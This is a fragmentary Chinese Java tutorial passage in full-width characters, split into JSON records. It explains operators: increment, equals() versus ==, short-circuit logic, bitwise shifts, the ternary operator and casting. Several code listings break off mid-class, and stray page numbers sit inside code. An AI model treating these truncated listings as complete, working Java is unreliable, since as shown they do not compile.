    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＭａｔｈＯｐｓ ｛ ／／ Ｃｒｅａｔｅ ａ ｓｈｏｒｔｈａｎｄ ｔｏ ｓａｖｅ ｔｙｐｉｎｇ： ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ／／ ｓｈｏｒｔｈａｎｄ ｔｏ ｐｒｉｎｔ ａ ｓｔｒｉｎｇ ａｎｄ ａｎ ｉｎｔ： ｓｔａｔｉｃ ｖｏｉｄ ｐＩｎｔ（Ｓｔｒｉｎｇ ｓ， ｉｎｔ ｉ） ｛ ｐｒｔ（ｓ ＋ ＂ ＝ ＂ ＋ ｉ）； ｝ ／／ ｓｈｏｒｔｈａｎｄ ｔｏ ｐｒｉｎｔ ａ ｓｔｒｉｎｇ ａｎｄ ａ ｆｌｏａｔ： ｓｔａｔｉｃ ｖｏｉｄ ｐＦｌｔ（Ｓｔｒｉｎｇ ｓ， ｆｌｏａｔ ｆ） ｛ ｐｒｔ（ｓ ＋ ＂ ＝ ＂ ＋ ｆ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ｃｒｅａｔｅ ａ ｒａｎｄｏｍ ｎｕｍｂｅｒ ｇｅｎｅｒａｔｏｒ， ６２ ／／ ｓｅｅｄｓ ｗｉｔｈ ｃｕｒｒｅｎｔ ｔｉｍｅ ｂｙ ｄｅｆａｕｌｔ： Ｒａｎｄｏｍ ｒａｎｄ ＝ ｎｅｗ Ｒａｎｄｏｍ（）；"},
    {"text": "ｉｎｔ ｉ， ｊ， ｋ； ／／ ＇％＇ ｌｉｍｉｔｓ ｍａｘｉｍｕｍ ｖａｌｕｅ ｔｏ ９９： ｊ ＝ ｒａｎｄ．ｎｅｘｔＩｎｔ（） ％ １００； ｋ ＝ ｒａｎｄ．ｎｅｘｔＩｎｔ（） ％ １００； ｐＩｎｔ（＂ｊ＂，ｊ）； ｐＩｎｔ（＂ｋ＂，ｋ）； ｉ ＝ ｊ ＋ ｋ； ｐＩｎｔ（＂ｊ ＋ ｋ＂， ｉ）； ｉ ＝ ｊ － ｋ； ｐＩｎｔ（＂ｊ － ｋ＂， ｉ）； ｉ ＝ ｋ ／ ｊ； ｐＩｎｔ（＂ｋ ／ ｊ＂， ｉ）； ｉ ＝ ｋ ＊ ｊ； ｐＩｎｔ（＂ｋ ＊ ｊ＂， ｉ）； ｉ ＝ ｋ ％ ｊ； ｐＩｎｔ（＂ｋ ％ ｊ＂， ｉ）； ｊ ％＝ ｋ； ｐＩｎｔ（＂ｊ ％＝ ｋ＂， ｊ）； ／／ Ｆｌｏａｔｉｎｇ－ｐｏｉｎｔ ｎｕｍｂｅｒ ｔｅｓｔｓ： ｆｌｏａｔ ｕ，ｖ，ｗ； ／／ ａｐｐｌｉｅｓ ｔｏ ｄｏｕｂｌｅｓ， ｔｏｏ ｖ ＝ ｒａｎｄ．ｎｅｘｔＦｌｏａｔ（）； ｗ ＝ ｒａｎｄ．ｎｅｘｔＦｌｏａｔ（）； ｐＦｌｔ（＂ｖ＂， ｖ）； ｐＦｌｔ（＂ｗ＂， ｗ）； ｕ ＝ ｖ ＋ ｗ； ｐＦｌｔ（＂ｖ ＋ ｗ＂， ｕ）； ｕ ＝ ｖ － ｗ； ｐＦｌｔ（＂ｖ － ｗ＂， ｕ）； ｕ ＝ ｖ ＊ ｗ； ｐＦｌｔ（＂ｖ ＊ ｗ＂， ｕ）； ｕ ＝ ｖ ／ ｗ； ｐＦｌｔ（＂ｖ ／ ｗ＂， ｕ）； ／／ ｔｈｅ ｆｏｌｌｏｗｉｎｇ ａｌｓｏ ｗｏｒｋｓ ｆｏｒ ／／ ｃｈａｒ， ｂｙｔｅ， ｓｈｏｒｔ， ｉｎｔ， ｌｏｎｇ， ／／ ａｎｄ ｄｏｕｂｌｅ： ｕ ＋＝ ｖ； ｐＦｌｔ（＂ｕ ＋＝ ｖ＂， ｕ）； ｕ －＝ ｖ； ｐＦｌｔ（＂ｕ －＝ ｖ＂， ｕ）； ｕ ＊＝ ｖ； ｐＦｌｔ（＂ｕ ＊＝ ｖ＂， ｕ）； ｕ ／＝ ｖ； ｐＦｌｔ（＂ｕ ／＝ ｖ＂， ｕ）；"},
    {"text": "｝ ｝ ／／／：￣ 我们注意到的第一件事情就是用于打印（显示）的一些快捷方法：ｐｒｔ（）方法打印一个 Ｓｔｒｉｎｇ； ｐＩｎｔ（）先打 印一个 Ｓｔｒｉｎｇ，再打印一个 ｉｎｔ； 而 ｐＦｌｔ（）先打印一个 Ｓｔｒｉｎｇ，再打印一个 ｆｌｏａｔ。"},
    {"text": "做法很简单，只需调用不同的方法即可：ｎｅｘｔＩｎｔ（），ｎｅｘｔＬｏｎｇ（），ｎｅｘｔＦｌｏａｔ（）或者 ｎｅｘｔＤｏｕｂｌｅ（）。"},
    {"text": "“前递增”表示＋＋ 运算符位于变量或表达式的前面； 而“后递增”表示＋＋运算符位于变量或表达式的后面。 类似地，“前递 减”意味着－－运算符位于变量或表达式的前面； 而“后递减”意味着－－运算符位于变量或表达式的后面。 对 于前递增和前递减（如＋＋Ａ 或－－Ａ），会先执行运算，再生成值。 而对于后递增和后递减（如 Ａ＋＋或 Ａ－－）， 会先生成值，再执行运算。"},
    {"text": "下面是一个例子： ／／： ＡｕｔｏＩｎｃ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ＋＋ ａｎｄ －－ ｏｐｅｒａｔｏｒｓ ｐｕｂｌｉｃ ｃｌａｓｓ ＡｕｔｏＩｎｃ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ ｉ ＝ １；"},
    {"text": "ｐｒｔ（＂ｉ ： ＂ ＋ ｉ）； ｐｒｔ（＂＋＋ｉ ： ＂ ＋ ＋＋ｉ）； ／／ Ｐｒｅ－ｉｎｃｒｅｍｅｎｔ ｐｒｔ（＂ｉ＋＋ ： ＂ ＋ ｉ＋＋）； ／／ Ｐｏｓｔ－ｉｎｃｒｅｍｅｎｔ ｐｒｔ（＂ｉ ： ＂ ＋ ｉ）； ｐｒｔ（＂－－ｉ ： ＂ ＋ －－ｉ）； ／／ Ｐｒｅ－ｄｅｃｒｅｍｅｎｔ ｐｒｔ（＂ｉ－－ ： ＂ ＋ ｉ－－）； ／／ Ｐｏｓｔ－ｄｅｃｒｅｍｅｎｔ ｐｒｔ（＂ｉ ： ＂ ＋ ｉ）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "｝ ｝ ／／／：￣ 该程序的输出如下： ｉ ： １ ＋＋ｉ ： ２ ｉ＋＋ ： ２ ｉ ： ３ －－ｉ ： ２ ｉ－－ ： ２ ｉ ： １ 从中可以看到，对于前缀形式，我们在执行完运算后才得到值。"},
    {"text": "在早期的一次 Ｊａｖａ 演讲中， Ｂｉｌｌ Ｊｏｙ（始创人之一）声称“Ｊａｖａ＝Ｃ＋＋－－”（Ｃ 加加减减），意味着 Ｊａｖａ 已去除了 Ｃ＋＋一些没来由折磨人 的地方，形成一种更精简的语言。"},
    {"text": "下面是一个例 子： ／／： Ｅｑｕｉｖａｌｅｎｃｅ．ｊａｖａ ｐｕｂｌｉｃ ｃｌａｓｓ Ｅｑｕｉｖａｌｅｎｃｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｔｅｇｅｒ ｎ１ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（４７）； Ｉｎｔｅｇｅｒ ｎ２ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（４７）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｎ１ ＝＝ ｎ２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｎ１ ！ ＝ ｎ２）；"},
    {"text": "下面举例说明如何使用： ／／： ＥｑｕａｌｓＭｅｔｈｏｄ．ｊａｖａ ｐｕｂｌｉｃ ｃｌａｓｓ ＥｑｕａｌｓＭｅｔｈｏｄ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｔｅｇｅｒ ｎ１ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（４７）； Ｉｎｔｅｇｅｒ ｎ２ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（４７）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｎ１．ｅｑｕａｌｓ（ｎ２））；"},
    {"text": "｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＥｑｕａｌｓＭｅｔｈｏｄ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖａｌｕｅ ｖ１ ＝ ｎｅｗ Ｖａｌｕｅ（）； Ｖａｌｕｅ ｖ２ ＝ ｎｅｗ Ｖａｌｕｅ（）； ｖ１．ｉ ＝ ｖ２．ｉ ＝ １００； ６５ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｖ１．ｅｑｕａｌｓ（ｖ２））； ｝ ｝ ／／／：￣ 此时的结果又变回了 ｆａｌｓｅ！"},
    {"text": "／／： Ｂｏｏｌ．ｊａｖａ ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ ｏｐｅｒａｔｏｒｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｏｏｌ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｒａｎｄｏｍ ｒａｎｄ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ｉｎｔ ｉ ＝ ｒａｎｄ．ｎｅｘｔＩｎｔ（） ％ １００； ｉｎｔ ｊ ＝ ｒａｎｄ．ｎｅｘｔＩｎｔ（） ％ １００； ｐｒｔ（＂ｉ ＝ ＂ ＋ ｉ）； ｐｒｔ（＂ｊ ＝ ＂ ＋ ｊ）； ｐｒｔ（＂ｉ ＞ ｊ ｉｓ ＂ ＋ （ｉ ＞ ｊ））； ｐｒｔ（＂ｉ ＜ ｊ ｉｓ ＂ ＋ （ｉ ＜ ｊ））； ｐｒｔ（＂ｉ ＞＝ ｊ ｉｓ ＂ ＋ （ｉ ＞＝ ｊ））； ｐｒｔ（＂ｉ ＜＝ ｊ ｉｓ ＂ ＋ （ｉ ＜＝ ｊ））； ｐｒｔ（＂ｉ ＝＝ ｊ ｉｓ ＂ ＋ （ｉ ＝＝ ｊ））； ｐｒｔ（＂ｉ ！ ＝ ｊ ｉｓ ＂ ＋ （ｉ ！ ＝ ｊ））； ／／ Ｔｒｅａｔｉｎｇ ａｎ ｉｎｔ ａｓ ａ ｂｏｏｌｅａｎ ｉｓ ／／ ｎｏｔ ｌｅｇａｌ Ｊａｖａ ／／！ ｐｒｔ（＂ｉ ＆＆ ｊ ｉｓ ＂ ＋ （ｉ ＆＆ ｊ））；"},
    {"text": "ｐｒｔ（＂！ ｉ ｉｓ ＂ ＋ ！ ｉ）； ｐｒｔ（＂（ｉ ＜ １０） ＆＆ （ｊ ＜ １０） ｉｓ ＂ ＋ （（ｉ ＜ １０） ＆＆ （ｊ ＜ １０）） ）； ｐｒｔ（＂（ｉ ＜ １０） ｜｜ （ｊ ＜ １０） ｉｓ ＂ ＋ （（ｉ ＜ １０） ｜｜ （ｊ ＜ １０）） ）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "输出列表看起来象下面这个样子： ６６ ｉ ＝ ８５ ｊ ＝ ４ ｉ ＞ ｊ ｉｓ ｔｒｕｅ ｉ ＜ ｊ ｉｓ ｆａｌｓｅ ｉ ＞＝ ｊ ｉｓ ｔｒｕｅ ｉ ＜＝ ｊ ｉｓ ｆａｌｓｅ ｉ ＝＝ ｊ ｉｓ ｆａｌｓｅ ｉ ！ ＝ ｊ ｉｓ ｔｒｕｅ （ｉ ＜ １０） ＆＆ （ｊ ＜ １０） ｉｓ ｆａｌｓｅ （ｉ ＜ １０） ｜｜ （ｊ ＜ １０） ｉｓ ｔｒｕｅ 注意若在预计为 Ｓｔｒｉｎｇ 值的地方使用，布尔值会自动转换成适当的文本形式。"},
    {"text": "因此，一个逻辑表达式的所有部分都有可能不进行求值： ／／： ＳｈｏｒｔＣｉｒｃｕｉｔ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｓｈｏｒｔ－ｃｉｒｃｕｉｔｉｎｇ ｂｅｈａｖｉｏｒ ／／ ｗｉｔｈ ｌｏｇｉｃａｌ ｏｐｅｒａｔｏｒｓ． ｐｕｂｌｉｃ ｃｌａｓｓ ＳｈｏｒｔＣｉｒｃｕｉｔ ｛ ｓｔａｔｉｃ ｂｏｏｌｅａｎ ｔｅｓｔ１（ｉｎｔ ｖａｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｔｅｓｔ１（＂ ＋ ｖａｌ ＋ ＂）＂）；"},
    {"text": "Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｒｅｓｕｌｔ： ＂ ＋ （ｖａｌ ＜ １））； ｒｅｔｕｒｎ ｖａｌ ＜ １； ｝ ｓｔａｔｉｃ ｂｏｏｌｅａｎ ｔｅｓｔ２（ｉｎｔ ｖａｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｔｅｓｔ２（＂ ＋ ｖａｌ ＋ ＂）＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｒｅｓｕｌｔ： ＂ ＋ （ｖａｌ ＜ ２））； ｒｅｔｕｒｎ ｖａｌ ＜ ２； ｝ ｓｔａｔｉｃ ｂｏｏｌｅａｎ ｔｅｓｔ３（ｉｎｔ ｖａｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｔｅｓｔ３（＂ ＋ ｖａｌ ＋ ＂）＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｒｅｓｕｌｔ： ＂ ＋ （ｖａｌ ＜ ３））； ｒｅｔｕｒｎ ｖａｌ ＜ ３； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ｔｅｓｔ１（０） ＆＆ ｔｅｓｔ２（２） ＆＆ ｔｅｓｔ３（２）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｅｘｐｒｅｓｓｉｏｎ ｉｓ ｔｒｕｅ＂）； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｅｘｐｒｅｓｓｉｏｎ ｉｓ ｆａｌｓｅ＂）；"},
    {"text": "测试在下面这个表达式 中进行： ｉｆ（ｔｅｓｔ１（０）） ＆＆ ｔｅｓｔ２（２） ＆＆ ｔｅｓｔ３（２）） ６７ 很自然地，你也许认为所有这三个测试都会得以执行。 但希望输出结果不至于使你大吃一惊： ｔｅｓｔ１（０） ｒｅｓｕｌｔ： ｔｒｕｅ ｔｅｓｔ２（２） ｒｅｓｕｌｔ： ｆａｌｓｅ ｅｘｐｒｅｓｓｉｏｎ ｉｓ ｆａｌｓｅ 第一个测试生成一个 ｔｒｕｅ 结果，所以表达式求值会继续下去。"},
    {"text": "若两个输入位里至少有 一个是 １，则按位 ＯＲ 运算符（｜）在输出位里生成一个 １； 只有在两个输入位都是 ０ 的情况下，它才会生成一 个 ０。 若两个输入位的某一个是 １，但不全都是 １，那么按位 ＸＯＲ（＾，异或）在输出位里生成一个 １。 按位 ＮＯＴ（￣，也叫作“非”运算符）属于一元运算符；"},
    {"text": "左移位运 算符（＜＜）能将运算符左边的运算对象向左移动运算符右侧指定的位数（在低位补 ０）。 “有符号”右移位 运算符（＞＞）则将运算符左边的运算对象向右移动运算符右侧指定的位数。 “有符号”右移位运算符使用了 “符号扩展”：若值为正，则在高位插入 ０；"},
    {"text": "可用下面这个例子检测自己的实现方案： ／／： ＵＲＳｈｉｆｔ．ｊａｖａ ／／ Ｔｅｓｔ ｏｆ ｕｎｓｉｇｎｅｄ ｒｉｇｈｔ ｓｈｉｆｔ ｐｕｂｌｉｃ ｃｌａｓｓ ＵＲＳｈｉｆｔ ｛ ６８ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ ｉ ＝ －１；"},
    {"text": "ｌｏｎｇ ｌ ＝ －１； ｌ ＞＞＞＝ １０； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌ）； ｓｈｏｒｔ ｓ ＝ －１； ｓ ＞＞＞＝ １０； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｂｙｔｅ ｂ ＝ －１； ｂ ＞＞＞＝ １０； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｂ）；"},
    {"text": "下面这个例子向大家阐示了如何应用涉及“按位”操作的所有运算符，以及它们的效果： ／／： ＢｉｔＭａｎｉｐｕｌａｔｉｏｎ．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ ｂｉｔｗｉｓｅ ｏｐｅｒａｔｏｒｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＢｉｔＭａｎｉｐｕｌａｔｉｏｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｒａｎｄｏｍ ｒａｎｄ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ｉｎｔ ｉ ＝ ｒａｎｄ．ｎｅｘｔＩｎｔ（）； ｉｎｔ ｊ ＝ ｒａｎｄ．ｎｅｘｔＩｎｔ（）； ｐＢｉｎＩｎｔ（＂－１＂， －１）； ｐＢｉｎＩｎｔ（＂＋１＂， ＋１）； ｉｎｔ ｍａｘｐｏｓ ＝ ２１４７４８３６４７； ｐＢｉｎＩｎｔ（＂ｍａｘｐｏｓ＂， ｍａｘｐｏｓ）； ｉｎｔ ｍａｘｎｅｇ ＝ －２１４７４８３６４８； ｐＢｉｎＩｎｔ（＂ｍａｘｎｅｇ＂， ｍａｘｎｅｇ）； ｐＢｉｎＩｎｔ（＂ｉ＂， ｉ）； ｐＢｉｎＩｎｔ（＂￣ｉ＂， ￣ｉ）； ｐＢｉｎＩｎｔ（＂－ｉ＂， －ｉ）； ｐＢｉｎＩｎｔ（＂ｊ＂， ｊ）； ｐＢｉｎＩｎｔ（＂ｉ ＆ ｊ＂， ｉ ＆ ｊ）； ｐＢｉｎＩｎｔ（＂ｉ ｜ ｊ＂， ｉ ｜ ｊ）； ｐＢｉｎＩｎｔ（＂ｉ ＾ ｊ＂， ｉ ＾ ｊ）； ｐＢｉｎＩｎｔ（＂ｉ ＜＜ ５＂， ｉ ＜＜ ５）； ｐＢｉｎＩｎｔ（＂ｉ ＞＞ ５＂， ｉ ＞＞ ５）； ｐＢｉｎＩｎｔ（＂（￣ｉ） ＞＞ ５＂， （￣ｉ） ＞＞ ５）； ｐＢｉｎＩｎｔ（＂ｉ ＞＞＞ ５＂， ｉ ＞＞＞ ５）； ｐＢｉｎＩｎｔ（＂（￣ｉ） ＞＞＞ ５＂， （￣ｉ） ＞＞＞ ５）； ｌｏｎｇ ｌ ＝ ｒａｎｄ．ｎｅｘｔＬｏｎｇ（）； ｌｏｎｇ ｍ ＝ ｒａｎｄ．ｎｅｘｔＬｏｎｇ（）； ｐＢｉｎＬｏｎｇ（＂－１Ｌ＂， －１Ｌ）； ｐＢｉｎＬｏｎｇ（＂＋１Ｌ＂， ＋１Ｌ）； ６９ ｌｏｎｇ ｌｌ ＝ ９２２３３７２０３６８５４７７５８０７Ｌ； ｐＢｉｎＬｏｎｇ（＂ｍａｘｐｏｓ＂， ｌｌ）； ｌｏｎｇ ｌｌｎ ＝ －９２２３３７２０３６８５４７７５８０８Ｌ； ｐＢｉｎＬｏｎｇ（＂ｍａｘｎｅｇ＂， ｌｌｎ）； ｐＢｉｎＬｏｎｇ（＂ｌ＂， ｌ）； ｐＢｉｎＬｏｎｇ（＂￣ｌ＂， ￣ｌ）； ｐＢｉｎＬｏｎｇ（＂－ｌ＂， －ｌ）； ｐＢｉｎＬｏｎｇ（＂ｍ＂， ｍ）； ｐＢｉｎＬｏｎｇ（＂ｌ ＆ ｍ＂， ｌ ＆ ｍ）； ｐＢｉｎＬｏｎｇ（＂ｌ ｜ ｍ＂， ｌ ｜ ｍ）； ｐＢｉｎＬｏｎｇ（＂ｌ ＾ ｍ＂， ｌ ＾ ｍ）； ｐＢｉｎＬｏｎｇ（＂ｌ ＜＜ ５＂， ｌ ＜＜ ５）； ｐＢｉｎＬｏｎｇ（＂ｌ ＞＞ ５＂， ｌ ＞＞ ５）； ｐＢｉｎＬｏｎｇ（＂（￣ｌ） ＞＞ ５＂， （￣ｌ） ＞＞ ５）； ｐＢｉｎＬｏｎｇ（＂ｌ ＞＞＞ ５＂， ｌ ＞＞＞ ５）； ｐＢｉｎＬｏｎｇ（＂（￣ｌ） ＞＞＞ ５＂， （￣ｌ） ＞＞＞ ５）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐＢｉｎＩｎｔ（Ｓｔｒｉｎｇ ｓ， ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｓ ＋ ＂， ｉｎｔ： ＂ ＋ ｉ ＋ ＂， ｂｉｎａｒｙ： ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂ ＂）； ｆｏｒ（ｉｎｔ ｊ ＝ ３１； ｊ ＞＝０； ｊ－－） ｉｆ（（（１ ＜＜ ｊ） ＆ ｉ） ！ ＝ ０） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂１＂）； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂０＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐＢｉｎＬｏｎｇ（Ｓｔｒｉｎｇ ｓ， ｌｏｎｇ ｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｓ ＋ ＂， ｌｏｎｇ： ＂ ＋ ｌ ＋ ＂， ｂｉｎａｒｙ： ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂ ＂）； ｆｏｒ（ｉｎｔ ｉ ＝ ６３； ｉ ＞＝０； ｉ－－） ｉｆ（（（１Ｌ ＜＜ ｉ） ＆ ｌ） ！ ＝ ０） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂１＂）； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂０＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）；"},
    {"text": "除展示所有按位运算符针对 ｉｎｔ 和 ｌｏｎｇ 的效果之外，本例也展示了 ｉｎｔ 和 ｌｏｎｇ 的最小值、最大值、＋１ 和－１ 值，使大家能体会它们的情况。"},
    {"text": "下面列出 ｉｎｔ 部分的输出： －１， ｉｎｔ： －１， ｂｉｎａｒｙ： １１１１１１１１１１１１１１１１１１１１１１１１１１１１１１１１ ＋１， ｉｎｔ： １， ｂｉｎａｒｙ： ０００００００００００００００００００００００００００００００１ ７０ ｍａｘｐｏｓ， ｉｎｔ： ２１４７４８３６４７， ｂｉｎａｒｙ： ０１１１１１１１１１１１１１１１１１１１１１１１１１１１１１１１ ｍａｘｎｅｇ， ｉｎｔ： －２１４７４８３６４８， ｂｉｎａｒｙ： １０００００００００００００００００００００００００００００００ ｉ， ｉｎｔ： ５９０８１７１６， ｂｉｎａｒｙ： ００００００１１１００００１０１１０００００１１１１１１０１００ ￣ｉ， ｉｎｔ： －５９０８１７１７， ｂｉｎａｒｙ： １１１１１１０００１１１１０１００１１１１１００００００１０１１ －ｉ， ｉｎｔ： －５９０８１７１６， ｂｉｎａｒｙ： １１１１１１０００１１１１０１００１１１１１００００００１１００ ｊ， ｉｎｔ： １９８８５０９５６， ｂｉｎａｒｙ： ００００１０１１１１０１１０１０００１１１００１１０００１１００ ｉ ＆ ｊ， ｉｎｔ： ５８７２０６４４， ｂｉｎａｒｙ： ００００００１１１００００００００００００００１１００００１００ ｉ ｜ ｊ， ｉｎｔ： １９９２１２０２８， ｂｉｎａｒｙ： ００００１０１１１１０１１１１１１０１１１０１１１１１１１１００ ｉ ＾ ｊ， ｉｎｔ： １４０４９１３８４， ｂｉｎａｒｙ： ００００１００００１０１１１１１１０１１１０１００１１１１０００ ｉ ＜＜ ５， ｉｎｔ： １８９０６１４９１２， ｂｉｎａｒｙ： ０１１１００００１０１１０００００１１１１１１０１０００００００ ｉ ＞＞ ５， ｉｎｔ： １８４６３０３， ｂｉｎａｒｙ： ０００００００００００１１１００００１０１１０００００１１１１１ （￣ｉ） ＞＞ ５， ｉｎｔ： －１８４６３０４， ｂｉｎａｒｙ： １１１１１１１１１１１０００１１１１０１００１１１１１０００００ ｉ ＞＞＞ ５， ｉｎｔ： １８４６３０３， ｂｉｎａｒｙ： ０００００００００００１１１００００１０１１０００００１１１１１ （￣ｉ） ＞＞＞ ５， ｉｎｔ： １３２３７１４２４， ｂｉｎａｒｙ： ０００００１１１１１１０００１１１１０１００１１１１１０００００ 数字的二进制形式表现为“有符号 ２ 的补值”。"},
    {"text": "值 ０：值 １ 若“布尔表达式”的结果为 ｔｒｕｅ，就计算“值 ０”，而且它的结果成为最终由运算符产生的值。 但若“布尔 表达式”的结果为 ｆａｌｓｅ，计算的就是“值 １”，而且它的结果成为最终由运算符产生的值。"},
    {"text": "尽管 Ｃ 引以为傲的就是它 是一种简练的语言，而且三元运算符的引入多半就是为了体现这种高效率的编程，但假若您打算频繁用它， 还是要先多作一些思量——它很容易就会产生可读性极差的代码。"},
    {"text": "在 Ｃ＋＋里，这一功能看起来非常不错，所以引入了一项 “运算符过载”机制，以便 Ｃ＋＋程序员为几乎所有运算符增加特殊的含义。 但非常不幸，与 Ｃ＋＋的另外一些限 制结合，运算符过载成为一种非常复杂的特性，程序员在设计自己的类时必须对此有周到的考虑。 与 Ｃ＋＋相 比，尽管运算符过载在 Ｊａｖａ 里更易实现，但迄今为止仍然认为这一特性过于复杂。"},
    {"text": "如下所示： ｉｎｔ ｘ ＝ ０， ｙ ＝ １， ｚ ＝ ２； Ｓｔｒｉｎｇ ｓＳｔｒｉｎｇ ＝ ＂ｘ， ｙ， ｚ ＂； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓＳｔｒｉｎｇ ＋ ｘ ＋ ｙ ＋ ｚ）；"},
    {"text": "因此，如果想通过“加号”连接 字串（使用 Ｊａｖａ 的早期版本），请务必保证第一个元素是字串（或加上引号的一系列字符，编译能将其识别 成一个字串）。"},
    {"text": "在 Ｃ 和 Ｃ＋＋中，一个特别常见的错误如下： ｗｈｉｌｅ（ｘ ＝ ｙ） ｛ ／／．．． ｝ 程序的意图是测试是否“相等”（＝＝），而不是进行赋值操作。"},
    {"text": "在 Ｃ 和 Ｃ＋＋里，类似的一个问题是使用按位 ＡＮＤ 和 ＯＲ，而不是逻辑 ＡＮＤ 和 ＯＲ。 按位 ＡＮＤ 和 ＯＲ 使用两个字符 之一（＆或｜），而逻辑 ＡＮＤ 和 ＯＲ 使用两个相同的字符（＆＆或｜｜）。"},
    {"text": "在适当的时候，Ｊａｖａ 会将一种数据类型自动转换成另一 种。 例如，假设我们为浮点变量分配一个整数值，计算机会将 ｉｎｔ 自动转换成 ｆｌｏａｔ。"},
    {"text": "但是，若进行一种名为 “缩小转换”（Ｎａｒｒｏｗｉｎｇ Ｃｏｎｖｅｒｓｉｏｎ）的操作（也就是说，脚本是能容纳更多信息的数据类型，将其转换 成容量较小的类型），此时就可能面临信息丢失的危险。"},
    {"text": "”而对于“放大转 换”（Ｗｉｄｅｎｉｎｇ ｃｏｎｖｅｒｓｉｏｎ），则不必进行明确造型，因为新类型肯定能容纳原来类型的信息，不会造成任 何信息的丢失。"},
